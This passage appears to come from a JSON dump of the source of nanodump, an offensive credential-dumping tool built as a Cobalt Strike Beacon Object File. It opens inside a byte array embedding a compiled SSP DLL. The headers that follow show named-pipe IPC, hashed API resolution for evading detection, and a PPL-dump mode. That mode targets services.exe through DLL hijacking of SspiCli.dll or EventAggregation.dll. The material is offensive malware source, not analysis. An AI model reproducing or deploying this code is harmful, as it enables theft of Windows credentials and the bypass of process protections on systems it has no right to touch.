00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x10,0x00,0x00,0x78,0x00,0x00,0x00,0x09,0x30,0x31,0x30,0x40,0x30,0x47,0x30,0x67,0x30,0x72,0x30,0xAD,0x30,0xDA,0x30,0xE5,0x30,0xF3,0x30,0x00,0x31,0x12,0x31,0x36,0x31,0x4B,0x31,0x56,0x31,0x60,0x31,0x82,0x31,0x92,0x31,0x9E,0x31,0xA5,0x31,0xBC,0x31,0xC3,0x31,0xCE,0x31,0x11,0x32,0x1A,0x32,0x74,0x32,0xB8,0x33,0xEC,0x33,0x0C,0x34,0x12,0x34,0x22,0x34,0x28,0x34,0x2E,0x34,0x36,0x34,0x3E,0x34,0x50,0x34,0x5D,0x34,0x69,0x34,0x70,0x34,0x79,0x34,0xA7,0x34,0xB2,0x34,0xB9,0x34,0xC6,0x34,0xDD,0x34,0xFC,0x35,0x12,0x36,0x54,0x36,0x83,0x36,0x99,0x36,0xEE,0x36,0x04,0x37,0x76,0x37,0x8C,0x37,0x46,0x38,0x00,0x00,0x00,0x20,0x00,0x00,0x38,0x00,0x00,0x00,0x1C,0x30,0x35,0x30,0xB1,0x32,0xC7,0x32,0x4C,0x33,0x65,0x33,0x3E,0x35,0x58,0x35,0x7D,0x37,0xA0,0x37,0xA8,0x37,0xC8,0x39,0x27,0x3A,0x54,0x3B,0x00,0x3C,0x33,0x3D,0x4B,0x3D,0xC4,0x3D,0x06,0x3E,0x1B,0x3E,0x57,0x3E,0x6F,0x3E,0x7C,0x3E,0x00,0x00,0x00,0x30,0x00,0x00,0x0C,0x00,0x00,0x00,0x6B,0x3D,0x00,0x00,0x00,0x40,0x00,0x00,0x20,0x00,0x00,0x00,0xF1,0x34,0x0B,0x35,0x3E,0x38,0x54,0x38,0x30,0x39,0x49,0x39,0x87,0x39,0xA0,0x39,0x64,0x3F,0x8A,0x3F,0xCA,0x3F,0x00,0x00,0x00,0x50,0x00,0x00,0x84,0x00,0x00,0x00,0x04,0x31,0x3D,0x31,0x76,0x31,0xA5,0x31,0xBF,0x31,0x15,0x32,0x39,0x32,0xE7,0x32,0x00,0x33,0x34,0x33,0x63,0x33,0x7D,0x33,0x9A,0x33,0x15,0x34,0x2E,0x34,0x62,0x34,0xAC,0x34,0xF9,0x34,0x28,0x35,0x42,0x35,0xCA,0x35,0xE0,0x35,0x17,0x36,0x31,0x36,0x83,0x36,0x9D,0x36,0x19,0x37,0x2F,0x37,0x6D,0x37,0xCC,0x37,0x07,0x38,0x21,0x38,0xA8,0x38,0xC1,0x38,0x08,0x39,0x77,0x39,0x91,0x39,0xEC,0x39,0x05,0x3A,0x7F,0x3A,0x95,0x3A,0x44,0x3B,0x1E,0x3D,0x34,0x3D,0xC1,0x3D,0xDB,0x3D,0xE7,0x3D,0x09,0x3E,0x23,0x3E,0x2F,0x3E,0x50,0x3E,0x61,0x3E,0x72,0x3E,0xC9,0x3E,0xD5,0x3E,0xF9,0x3E,0xFF,0x3E,0x15,0x3F,0x9D,0x3F,0xDD,0x3F,0xEA,0x3F,0x00,0x00,0x00,0x60,0x00,0x00,0x3C,0x01,0x00,0x00,0x29,0x30,0x45,0x30,0x64,0x30,0x88,0x30,0xB0,0x30,0xCB,0x30,0xD8,0x30,0xDF,0x30,0xF8,0x30,0x0A,0x31,0x1E,0x31,0x3B,0x31,0x52,0x31,0x76,0x31,0x88,0x31,0x8D,0x31,0x92,0x31,0x9D,0x31,0xAB,0x31,0xD5,0x31,0xFC,0x31,0x31,0x32,0x3A,0x32,0x49,0x32,0x54,0x32,0x5A,0x32,0x77,0x32,0xA9,0x32,0xC1,0x32,0xC6,0x32,0xCE,0x32,0xD9,0x32,0xEB,0x32,0x30,0x33,0x36,0x33,0x52,0x33,0x61,0x33,0x67,0x33,0x82,0x33,0x88,0x33,0x93,0x33,0x99,0x33,0xA4,0x33,0xB2,0x33,0xC2,0x33,0xF1,0x33,0x06,0x34,0x16,0x34,0x2C,0x34,0x32,0x34,0x38,0x34,0x45,0x34,0x5E,0x34,0x7C,0x34,0x82,0x34,0xA1,0x34,0xDF,0x34,0xE5,0x34,0xEA,0x34,0xF0,0x34,0xFD,0x34,0x03,0x35,0x28,0x35,0x43,0x35,0x49,0x35,0x4E,0x35,0x83,0x35,0x89,0x35,0xA2,0x35,0xCA,0x35,0xD8,0x35,0xF6,0x35,0x09,0x36,0x12,0x36,0x1D,0x36,0x3B,0x36,0x45,0x36,0x50,0x36,0x56,0x36,0x83,0x36,0x89,0x36,0x3E,0x37,0x48,0x37,0x4E,0x37,0x58,0x37,0x61,0x37,0x6C,0x37,0xD5,0x37,0xDF,0x37,0xE5,0x37,0xEF,0x37,0x03,0x38,0x0F,0x38,0x1D,0x38,0x27,0x38,0x65,0x38,0x6F,0x38,0x75,0x38,0x83,0x38,0x8E,0x38,0xA6,0x38,0xB6,0x38,0xBC,0x38,0xC6,0x38,0xDB,0x38,0xE6,0x38,0xED,0x38,0x25,0x39,0x2F,0x39,0x35,0x39,0x43,0x39,0x4A,0x39,0x65,0x39,0x6E,0x39,0x74,0x39,0x7E,0x39,0x93,0x39,0x9F,0x39,0xB4,0x39,0xF6,0x39,0x07,0x3A,0x0D,0x3A,0x17,0x3A,0x2B,0x3A,0x35,0x3A,0x79,0x3A,0xA0,0x3A,0x3C,0x3B,0xC2,0x3C,0xCA,0x3C,0xD2,0x3C,0xDA,0x3C,0xE2,0x3C,0xEA,0x3C,0xF2,0x3C,0xFA,0x3C,0x02,0x3D,0x0A,0x3D,0x12,0x3D,0x1A,0x3D,0x22,0x3D,0x2A,0x3D,0x32,0x3D,0x3A,0x3D,0x42,0x3D,0x4A,0x3D,0x52,0x3D,0x5A,0x3D,0x62,0x3D,0x6A,0x3D,0x72,0x3D,0x7A,0x3D,0x94,0x3D,0x00,0x00,0x00,0x70,0x00,0x00,0x38,0x00,0x00,0x00,0x20,0x30,0x24,0x30,0x28,0x30,0x2C,0x30,0x30,0x30,0x34,0x30,0x38,0x30,0x3C,0x30,0x40,0x30,0x44,0x30,0x48,0x30,0x4C,0x30,0x50,0x30,0x54,0x30,0x58,0x30,0x5C,0x30,0x60,0x30,0x64,0x30,0x80,0x30,0x90,0x30,0x94,0x30,0x98,0x30,0x9C,0x30,0x00,0x00,0x00,0x80,0x00,0x00,0x14,0x00,0x00,0x00,0xBC,0x32,0xC0,0x32,0xC4,0x32,0xC8,0x32,0xCC,0x32,0x00,0x00,0x00,0xF0,0x00,0x00,0x10,0x00,0x00,0x00,0x0C,0x30,0x18,0x30,0x1C,0x30,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0E,0x00,0x00,0x00,0x2E,0x65,0x68,0x5F,0x66,0x72,0x61,0x6D,0x65,0x00,};\nunsigned int nanodump_ssp_dll_len = 37390;\n"
  },
  {
    "path": "Creds-BOF/nanodump/include/ntdefs.h",
    "content": "#pragma once\n\n#include <windows.h>\n#include <winternl.h>\n\n#define NTDLL_DLL L\"ntdll.dll\"\n#define ADVAPI32_DLL L\"Advapi32.dll\"\n#define KERNELBASE_DLL L\"KernelBase.dll\"\n#define KERNEL32_DLL L\"Kernel32.dll\"\n#define SHELL32_DLL L\"Shell32.dll\"\n#define OLEAUT32_DLL L\"OleAut32.dll\"\n#define RPCRT4_DLL L\"Rpcrt4.dll\"\n#define OLE32_DLL L\"Ole32.dll\"\n\n#define NtCurrentProcess() ( (HANDLE)(LONG_PTR) -1 )\n#define NtCurrentThread() ( (HANDLE)(LONG_PTR) -2 )\n\n#ifndef NT_SUCCESS\n #define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)\n#endif\n\n#define STATUS_SUCCESS 0x00000000\n#define STATUS_UNSUCCESSFUL 0xC0000001\n#define STATUS_PARTIAL_COPY 0x8000000D\n#define STATUS_ACCESS_DENIED 0xC0000022\n#define STATUS_OBJECT_PATH_NOT_FOUND 0xC000003A\n#define STATUS_OBJECT_NAME_NOT_FOUND 0xC0000034\n#define STATUS_OBJECT_NAME_INVALID 0xc0000033\n#define STATUS_SHARING_VIOLATION 0xC0000043\n#define STATUS_NO_MORE_ENTRIES 0x8000001A\n#define STATUS_INVALID_CID 0xC000000B\n#define STATUS_INFO_LENGTH_MISMATCH 0xC0000004\n#define STATUS_OBJECT_PATH_SYNTAX_BAD 0xC000003B\n#define STATUS_BUFFER_TOO_SMALL 0xC0000023\n#define STATUS_OBJECT_NAME_COLLISION 0xC0000035\n#define STATUS_ALERTED 0x00000101\n\nstruct _RTL_BALANCED_NODE\n{\n    union\n    {\n        struct _RTL_BALANCED_NODE* Children[2];                             //0x0\n        struct\n        {\n            struct _RTL_BALANCED_NODE* Left;                                //0x0\n            struct _RTL_BALANCED_NODE* Right;                               //0x8\n        };\n    };\n    union\n    {\n        struct\n        {\n            UCHAR Red:1;                                                    //0x10\n            UCHAR Balance:2;                                                //0x10\n        };\n        ULONGLONG ParentValue;                                              //0x10\n    };\n};\n\nstruct LDR_DATA_TABLE_ENTRY\n{\n    struct _LIST_ENTRY InLoadOrderLinks;                                    //0x0\n    struct _LIST_ENTRY InMemoryOrderLinks;                                  //0x10\n    struct _LIST_ENTRY InInitializationOrderLinks;                          //0x20\n    PVOID DllBase;                                                          //0x30\n    PVOID EntryPoint;                                                       //0x38\n    ULONG32 SizeOfImage;                                                    //0x40\n    struct _UNICODE_STRING FullDllName;                                     //0x48\n    struct _UNICODE_STRING BaseDllName;                                     //0x58\n    UCHAR FlagGroup[4];                                                     //0x68\n    USHORT ObsoleteLoadCount;                                               //0x6c\n    USHORT TlsIndex;                                                        //0x6e\n    struct _LIST_ENTRY HashLinks;                                           //0x70\n    ULONG TimeDateStamp;                                                    //0x80\n    struct _ACTIVATION_CONTEXT* EntryPointActivationContext;                //0x88\n    VOID* Lock;                                                             //0x90\n    struct _LDR_DDAG_NODE* DdagNode;                                        //0x98\n    struct _LIST_ENTRY NodeModuleLink;                                      //0xa0\n    struct _LDRP_LOAD_CONTEXT* LoadContext;                                 //0xb0\n    VOID* ParentDllBase;                                                    //0xb8\n    VOID* SwitchBackContext;                                                //0xc0\n    struct _RTL_BALANCED_NODE BaseAddressIndexNode;                         //0xc8\n    struct _RTL_BALANCED_NODE MappingInfoIndexNode;                         //0xe0\n    ULONGLONG OriginalBase;                                                 //0xf8\n    union _LARGE_INTEGER LoadTime;                                          //0x100\n    ULONG BaseNameHashValue;                                                //0x108\n    ULONG32 LoadReason;                                                     //0x10c\n    ULONG ImplicitPathOptions;                                              //0x110\n    ULONG ReferenceCount;                                                   //0x114\n    ULONG DependentLoadFlags;                                               //0x118\n    UCHAR SigningLevel;                                                     //0x11c\n    ULONG CheckSum;                                                         //0x120\n};\n"
  },
  {
    "path": "Creds-BOF/nanodump/include/output.h",
    "content": "#pragma once\n\n#ifdef BOF\n #include \"beacon.h\"\n#else\n#include <windows.h>\n #include <stdio.h>\n#endif\n\nVOID LogToConsole(LPCSTR pwszFormat, ...);\n\n#if defined(BOF)\n #define PRINT(...) { \\\n     BeaconPrintf(CALLBACK_OUTPUT, __VA_ARGS__); \\\n }\n#elif defined(DDL) && defined(PPL_DUMP)\n #define PRINT(...) { \\\n     LogToConsole(__VA_ARGS__); \\\n     LogToConsole(\"\\n\"); \\\n }\n#elif defined(EXE)\n #define PRINT(...) { \\\n     fprintf(stdout, __VA_ARGS__); \\\n     fprintf(stdout, \"\\n\"); \\\n }\n#else\n #define PRINT(...)\n#endif\n\n#if defined(BOF)\n #define PRINT_ERR(...) { \\\n     BeaconPrintf(CALLBACK_ERROR, __VA_ARGS__); \\\n }\n#elif defined(DDL) && defined(PPL_DUMP)\n #define PRINT_ERR(...) { \\\n     LogToConsole(__VA_ARGS__); \\\n     LogToConsole(\"\\n\"); \\\n }\n#elif defined(EXE)\n #define PRINT_ERR(...) { \\\n     fprintf(stdout, __VA_ARGS__); \\\n     fprintf(stdout, \"\\n\"); \\\n }\n#else\n #define PRINT_ERR(...)\n#endif\n\n#if defined(DEBUG) && defined(BOF)\n #define DPRINT(...) { \\\n     BeaconPrintf(CALLBACK_OUTPUT, \"DEBUG: %s:%d:%s(): \", __FILE__, __LINE__, __FUNCTION__); \\\n     BeaconPrintf(CALLBACK_OUTPUT, __VA_ARGS__); \\\n }\n#elif defined(DEBUG) && defined(DDL) && defined(PPL_DUMP)\n #define DPRINT(...) { \\\n     LogToConsole(\"DEBUG: %s:%d:%s(): \", __FILE__, __LINE__, __FUNCTION__); \\\n     LogToConsole(__VA_ARGS__); \\\n     LogToConsole(\"\\n\"); \\\n }\n#elif defined(DEBUG) && defined(EXE)\n #define DPRINT(...) { \\\n     fprintf(stderr, \"DEBUG: %s:%d:%s(): \", __FILE__, __LINE__, __FUNCTION__); \\\n     fprintf(stderr, __VA_ARGS__); \\\n     fprintf(stderr, \"\\n\"); \\\n }\n#else\n #define DPRINT(...)\n#endif\n\n#if defined(DEBUG) && defined(BOF)\n #define DPRINT_ERR(...) { \\\n     BeaconPrintf(CALLBACK_ERROR, \"ERROR: %s:%d:%s(): \", __FILE__, __LINE__, __FUNCTION__); \\\n     BeaconPrintf(CALLBACK_ERROR, __VA_ARGS__); \\\n }\n#elif defined(DEBUG) && defined(DDL) && defined(PPL_DUMP)\n #define DPRINT_ERR(...) { \\\n     LogToConsole(\"ERROR: %s:%d:%s(): \", __FILE__, __LINE__, __FUNCTION__); \\\n     LogToConsole(__VA_ARGS__); \\\n     LogToConsole(\"\\n\"); \\\n }\n#elif defined(DEBUG) && defined(EXE)\n #define DPRINT_ERR(...) { \\\n     fprintf(stderr, \"ERROR: %s:%d:%s(): \", __FILE__, __LINE__, __FUNCTION__); \\\n     fprintf(stderr, __VA_ARGS__); \\\n     fprintf(stderr, \"\\n\"); \\\n }\n#else\n #define DPRINT_ERR(...)\n#endif\n\n#define syscall_failed(syscall_name, status) \\\n    DPRINT_ERR( \\\n        \"Failed to call %s, status: 0x%lx\", \\\n        syscall_name, \\\n        status \\\n    )\n\n#define function_failed(function) \\\n    DPRINT_ERR( \\\n        \"Call to '%s' failed, error: %ld\", \\\n        function, \\\n        GetLastError() \\\n    )\n\n#define malloc_failed() function_failed(\"HeapAlloc\")\n\n#define api_not_found(function) \\\n    DPRINT_ERR( \\\n        \"The address of '%s' was not found\", \\\n        function \\\n    )\n"
  },
  {
    "path": "Creds-BOF/nanodump/include/pipe.h",
    "content": "#pragma once\n\n#if defined(PPL_MEDIC) || defined(SSP)\n\n#include \"dinvoke.h\"\n\ntypedef BOOL(WINAPI* InitializeSecurityDescriptor_t)(PSECURITY_DESCRIPTOR pSecurityDescriptor, DWORD dwRevision);\ntypedef BOOL(WINAPI* ConvertStringSecurityDescriptorToSecurityDescriptorW_t)(LPCWSTR StringSecurityDescriptor, DWORD StringSDRevision, PSECURITY_DESCRIPTOR *SecurityDescriptor, PULONG SecurityDescriptorSize);\ntypedef HANDLE(WINAPI* CreateNamedPipeW_t)(LPCWSTR lpName, DWORD dwOpenMode, DWORD dwPipeMode, DWORD nMaxInstances, DWORD nOutBufferSize, DWORD nInBufferSize, DWORD nDefaultTimeOut, LPSECURITY_ATTRIBUTES lpSecurityAttributes);\ntypedef HANDLE(WINAPI* CreateFileW_t)(LPCWSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes, DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile);\ntypedef BOOL(WINAPI* ConnectNamedPipe_t)(HANDLE hNamedPipe, LPOVERLAPPED lpOverlapped);\ntypedef BOOL(WINAPI* WriteFile_t)(HANDLE hFile, LPCVOID lpBuffer, DWORD nNumberOfBytesToWrite, LPDWORD lpNumberOfBytesWritten, LPOVERLAPPED lpOverlapped);\ntypedef BOOL(WINAPI* ReadFile_t)(HANDLE hFile, LPVOID lpBuffer, DWORD nNumberOfBytesToRead, LPDWORD lpNumberOfBytesRead, LPOVERLAPPED lpOverlapped);\ntypedef BOOL(WINAPI* DisconnectNamedPipe_t)(HANDLE hNamedPipe);\n\n#define InitializeSecurityDescriptor_SW2_HASH                         0x0388211D\n#define ConvertStringSecurityDescriptorToSecurityDescriptorW_SW2_HASH 0x1693E886\n#define CreateNamedPipeW_SW2_HASH                                     0x58993B44\n#define CreateFileW_SW2_HASH                                          0x24976EA4\n#define ConnectNamedPipe_SW2_HASH                                     0x96019466\n#define WriteFile_SW2_HASH                                            0xED7C1B6F\n#define ReadFile_SW2_HASH                                             0x8D38978F\n#define DisconnectNamedPipe_SW2_HASH                                  0xAEA47AEA\n\n#define SDDL_REVISION_1 1\n#define PAGE_SIZE 0x1000\n\ntypedef enum MESSAGE_TYPE\n{\n    msg_type_parameters,\n    msg_type_result,\n} MESSAGE_TYPE;\n\ntypedef struct _MSG_PPL_MEDIC_PARAMETERS\n{\n    LPSTR dump_path[MAX_PATH + 1];\n    BOOL  use_valid_sig;\n    BOOL  elevate_handle;\n} MSG_PPL_MEDIC_PARAMETERS, * PMSG_PPL_MEDIC_PARAMETERS;\n\ntypedef struct _MSG_RESULT\n{\n\tBOOL succeded;\n} MSG_RESULT, * PMSG_RESULT;\n\ntypedef struct _IPC_MSG\n{\n    MESSAGE_TYPE Type;\n    union {\n        MSG_RESULT Result;\n        MSG_PPL_MEDIC_PARAMETERS Params;\n    } p;\n\n} IPC_MSG, * PIPC_MSG;\n\n#if defined(PPL_MEDIC)\n\n#define IPC_PIPE_NAME L\"NanoDumpPPLmedicPipe\"\n\n#elif defined(SSP)\n\n#define IPC_PIPE_NAME L\"NanoDumpSSPPipe\"\n\n#endif // #if defined(PPL_MEDIC)\n\nBOOL server_create_named_pipe(\n    IN LPCWSTR pipe_name,\n    IN BOOL async,\n    OUT PHANDLE hPipe);\n\nBOOL client_connect_to_named_pipe(\n    IN LPWSTR pipe_name,\n    OUT PHANDLE hPipe);\n\nBOOL server_listen_on_named_pipe(\n    IN HANDLE hPipe);\n\nBOOL server_recv_arguments_from_pipe(\n    IN HANDLE hPipe,\n    OUT LPSTR* dump_path,\n    OUT PBOOL use_valid_sig,\n    OUT PBOOL elevate_handle);\n\nBOOL client_send_arguments_from_pipe(\n    IN HANDLE hPipe,\n    IN LPSTR dump_path,\n    IN BOOL use_valid_sig,\n    IN BOOL elevate_handle);\n\nBOOL server_disconnect_pipe(\n    IN HANDLE hPipe);\n\nBOOL write_data_to_pipe(\n    IN HANDLE hPipe,\n    IN PVOID data_bytes,\n    IN DWORD data_size);\n\nBOOL server_send_success(\n    IN HANDLE hPipe,\n    IN BOOL succeded);\n\nBOOL client_recv_success(\n    IN HANDLE hPipe,\n    OUT PBOOL succeded);\n\n#endif // #if defined(PPL_MEDIC) || defined(SSP)\n"
  },
  {
    "path": "Creds-BOF/nanodump/include/ppl/cleanup.h",
    "content": "#pragma once\n\n#include <windows.h>\n#include <winternl.h>\n\n#include \"nanodump.h\"\n#include \"dinvoke.h\"\n\ntypedef BOOL(WINAPI* SetKernelObjectSecurity_t) (HANDLE Handle, SECURITY_INFORMATION SecurityInformation, PSECURITY_DESCRIPTOR SecurityDescriptor);\ntypedef BOOL(WINAPI* InitializeSecurityDescriptor_t) (PSECURITY_DESCRIPTOR pSecurityDescriptor, DWORD dwRevision);\ntypedef BOOL(WINAPI* SetSecurityDescriptorDacl_t) (PSECURITY_DESCRIPTOR pSecurityDescriptor, BOOL bDaclPresent, PACL pDacl, BOOL bDaclDefaulted);\n\n#define SetKernelObjectSecurity_SW2_HASH 0x06AE0E20\n#define InitializeSecurityDescriptor_SW2_HASH 0x0388211D\n#define SetSecurityDescriptorDacl_SW2_HASH 0x7BDD4356\n\nBOOL get_current_dll_filename(\n\tOUT LPCWSTR* ppwszDllName);\n\nBOOL delete_known_dll_entry(VOID);\n"
  },
  {
    "path": "Creds-BOF/nanodump/include/ppl/ppl.h",
    "content": "#pragma once\n"
  },
  {
    "path": "Creds-BOF/nanodump/include/ppl/ppl_dump.h",
    "content": "#pragma once\n\n#include <windows.h>\n#include <winternl.h>\n#include <string.h>\n#include <memory.h>\n#include <aclapi.h>\n\n#include \"nanodump.h\"\n#include \"utils.h\"\n#include \"dinvoke.h\"\n#include \"syscalls.h\"\n#include \"token_priv.h\"\n#include \"impersonate.h\"\n#include \"ppl/ppl_utils.h\"\n\n#define PPL_BINARY L\"services.exe\"\n#define DLL_TO_HIJACK_WIN63 L\"SspiCli.dll\"\n#define DLL_TO_HIJACK_WIN10 L\"EventAggregation.dll\"\n#define DLL_LINK_TARGET L\"foobar\"\n\ntypedef BOOL(WINAPI* DllMain_t)(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved);\ntypedef BOOL(WINAPI* CopySid_t) (DWORD nDestinationSidLength, PSID pDestinationSid, PSID pSourceSid);\ntypedef BOOL(WINAPI* ConvertSidToStringSidW_t) (PSID Sid, LPWSTR 